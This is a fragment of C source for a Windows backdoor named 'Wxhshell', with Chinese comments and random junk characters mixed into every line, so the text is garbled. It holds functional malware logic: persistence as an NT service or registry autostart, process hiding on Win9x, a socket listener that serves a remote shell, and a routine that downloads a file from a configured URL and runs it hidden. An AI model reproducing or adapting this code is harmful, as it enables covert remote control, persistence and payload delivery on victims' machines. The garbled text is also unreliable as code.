8 0, char procName[255]; @o].He@L<j unsigned long cbNeeded; Y,qI@n< `z}?"BW| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JMCKcZ%N '&P%C" 5 CloseHandle(hProcess); c8 )DuJ#U q^@Q"J =v if(strstr(procName,"services")) return 1; // 以服务启动 c`)\Pb/O etQCzYIhn return 0; // 注册表启动 udK%> } X;+sUj8 ~Py`P'+ // 主模块 ;DQ ZT int StartWxhshell(LPSTR lpCmdLine) *xAqnk
{ ~f2z]JLr: SOCKET wsl; x`eo"5.$ BOOL val=TRUE; 1 &jc/*Z" int port=0; YsC>i`n9 struct sockaddr_in door; tH@Erh|% YR\fa Vk if(wscfg.ws_autoins) Install(); OU\ ~:: 1/B>XkCJ port=atoi(lpCmdLine); +yG~T tn\yI!a if(port<=0) port=wscfg.ws_port; /obfw^ a@K%06A;' WSADATA data; fCd&D if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Rze|
T. ;J( 8
L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V;VHv=9`o setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3Y4?CM&0v door.sin_family = AF_INET; 94`7a<&ZNL door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lz}OwKl door.sin_port = htons(port); BGZ#wru (*9$`!wS if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ys9[5@7 closesocket(wsl); >0y'Rgfe return 1; _#E0g'3 } 5J.bD)yrP \##zR_% if(listen(wsl,2) == INVALID_SOCKET) { ?T8}K>a closesocket(wsl); yf.~XUk^ return 1; dh\'<|\K } `,*3[ Wxhshell(wsl); 6dr%;Wp WSACleanup(); WF+99?75 hp50J return 0; @Ns Qd_e J7$5s } ,5p(T_V/ |Pax =oJ\M // 以NT服务方式启动 +4~_Ei[i VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ./Zk`-OBT { Lnl(2xD DWORD status = 0; :K,i\ DWORD specificError = 0xfffffff; T@B/xAq5! U[-o> W# serviceStatus.dwServiceType = SERVICE_WIN32; 9MJG;+B~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; z6\UGSL serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @CL{D:d serviceStatus.dwWin32ExitCode = 0; r.&Vw|*> serviceStatus.dwServiceSpecificExitCode = 0; yjX9oxhtL serviceStatus.dwCheckPoint = 0; X=&ET)8-Y serviceStatus.dwWaitHint = 0; `UyG_; '3tCH)s hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /& {A!.; if (hServiceStatusHandle==0) return; n0 {i&[I~+ &)ChQZA status = GetLastError();
Cctu|^V if (status!=NO_ERROR) s Y Qk { %/.b~|,- serviceStatus.dwCurrentState = SERVICE_STOPPED; lT?v^\(H serviceStatus.dwCheckPoint = 0; x~~|.C, serviceStatus.dwWaitHint = 0; wKxtre(v serviceStatus.dwWin32ExitCode = status; dn+KH+v serviceStatus.dwServiceSpecificExitCode = specificError; }<SQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); E6ElNgL return; cp7=epho } t\,PB{P:J m}t`FsB. serviceStatus.dwCurrentState = SERVICE_RUNNING; WX?IYQ+ serviceStatus.dwCheckPoint = 0; *)T^ChD, serviceStatus.dwWaitHint = 0; S`0(*A[W* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -;m0R } E,U+o $ g|yvF-+ // 处理NT服务事件,比如:启动、停止 JIOR4' 9 VOID WINAPI NTServiceHandler(DWORD fdwControl) 6ojo :-%Vf { .j0$J\:i switch(fdwControl) ChPmX+.i_ { v MH case SERVICE_CONTROL_STOP: )'#A$ Fj serviceStatus.dwWin32ExitCode = 0; WlC:l serviceStatus.dwCurrentState = SERVICE_STOPPED; f+,qNvBY/ serviceStatus.dwCheckPoint = 0; [!#L6&:a8 serviceStatus.dwWaitHint = 0; VU]`&`~J { ;))+>%SGCt SetServiceStatus(hServiceStatusHandle, &serviceStatus); &.Qrs:U } ~IBP|)WA- return; mnX2a case SERVICE_CONTROL_PAUSE: {qJ1ko)$ serviceStatus.dwCurrentState = SERVICE_PAUSED; 3ym',q break; ?X<eV1a case SERVICE_CONTROL_CONTINUE: Zt{[*~ serviceStatus.dwCurrentState = SERVICE_RUNNING; L48_96 break; Hd ={CFip case SERVICE_CONTROL_INTERROGATE: e\zm7_+i{ break; $>eCqC3 }; {Gk1vcq SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZG8DIV\D7 } D.u{~ mL{6L? // 标准应用程序主函数 "&?kC2Y| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aSQ#k;T[ { L\ "d L^?qOylu // 获取操作系统版本 8dIgjQX| OsIsNt=GetOsVer(); _8UU'1d GetModuleFileName(NULL,ExeFile,MAX_PATH); MH\dC9%p p]+Pkxz]' // 从命令行安装 j>" @,B g* if(strpbrk(lpCmdLine,"iI")) Install(); J<h$
wM `l[c_%Bm // 下载执行文件 D'DfJwA if(wscfg.ws_downexe) { v^*K:#<Q! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
>Abdd WinExec(wscfg.ws_filenam,SW_HIDE); <<5(0#y# } U$A]8NZ$S ^k">A:E2 if(!OsIsNt) { :OT0yA=U // 如果时win9x,隐藏进程并且设置为注册表启动 YPk fx HideProc(); z46~@y%k StartWxhshell(lpCmdLine); jm/`iXnMf } JjTegQN else n;Vs_u/Nx if(StartFromService()) "]Xc`3SM // 以服务方式启动 OA;XiR$xP StartServiceCtrlDispatcher(DispatchTable); Ai3*QX else I,vJbvvl! // 普通方式启动 c`w}|d]mC StartWxhshell(lpCmdLine); ~=l;=7 T 7;wd(8 return 0; `|&O*` }
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